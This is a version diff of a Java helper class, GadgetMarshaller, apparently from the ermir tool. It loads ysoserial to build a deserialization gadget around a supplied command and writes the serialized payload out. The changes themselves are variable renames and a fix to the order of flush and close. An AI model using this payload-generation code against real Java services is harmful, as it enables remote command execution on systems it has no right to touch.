helpers/gadgetmarshaller/GadgetMarshaller.java in ermir-0.1.1 vs helpers/gadgetmarshaller/GadgetMarshaller.java in ermir-0.1.2

- old
+ new

@@ -25,24 +25,24 @@ return; } URLClassLoader ysoserialLoader = new URLClassLoader(new URL[] {new File(ysoserial_path).toURI().toURL()}, GadgetMarshaller.class.getClassLoader()); - Class<?> payloadUtils = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ysoserialLoader); - Method getPayloadClassMethod = payloadUtils.getDeclaredMethod("getPayloadClass", String.class); - Class<?> objectPayload = (Class<?>) getPayloadClassMethod.invoke(null, gadgetName); + Class<?> objectPayloadUtilsClazz = Class.forName("ysoserial.payloads.ObjectPayload$Utils", true, ysoserialLoader); + Method getPayloadClassMethod = objectPayloadUtilsClazz.getDeclaredMethod("getPayloadClass", String.class); + Class<?> gadgetClazz = (Class<?>) getPayloadClassMethod.invoke(null, gadgetName); - Class<?> payloadObjectClazz = Class.forName("ysoserial.payloads.ObjectPayload", true, ysoserialLoader); - Method getObjectMethod = payloadObjectClazz.getDeclaredMethod("getObject", String.class); - Object gadget = getObjectMethod.invoke(objectPayload.getDeclaredConstructor().newInstance(), cmd); + Class<?> objectPayloadClazz = Class.forName("ysoserial.payloads.ObjectPayload", true, ysoserialLoader); + Method getObjectMethod = objectPayloadClazz.getDeclaredMethod("getObject", String.class); + Object gadget = getObjectMethod.invoke(gadgetClazz.getDeclaredConstructor().newInstance(), cmd); MarshalOutputStream mos; try { mos = new MarshalOutputStream((outFile == null) ? System.out : new FileOutputStream(outFile)); mos.writeObject(gadget); - mos.close(); mos.flush(); + mos.close(); } catch (FileNotFoundException e) { System.out.println("Error: output file path was not found."); } } static final class MarshalOutputStream extends ObjectOutputStream { @@ -56,6 +56,6 @@ @Override protected void annotateProxyClass(Class<?> cl) throws IOException { annotateClass(cl); } } -} \ No newline at end of file +}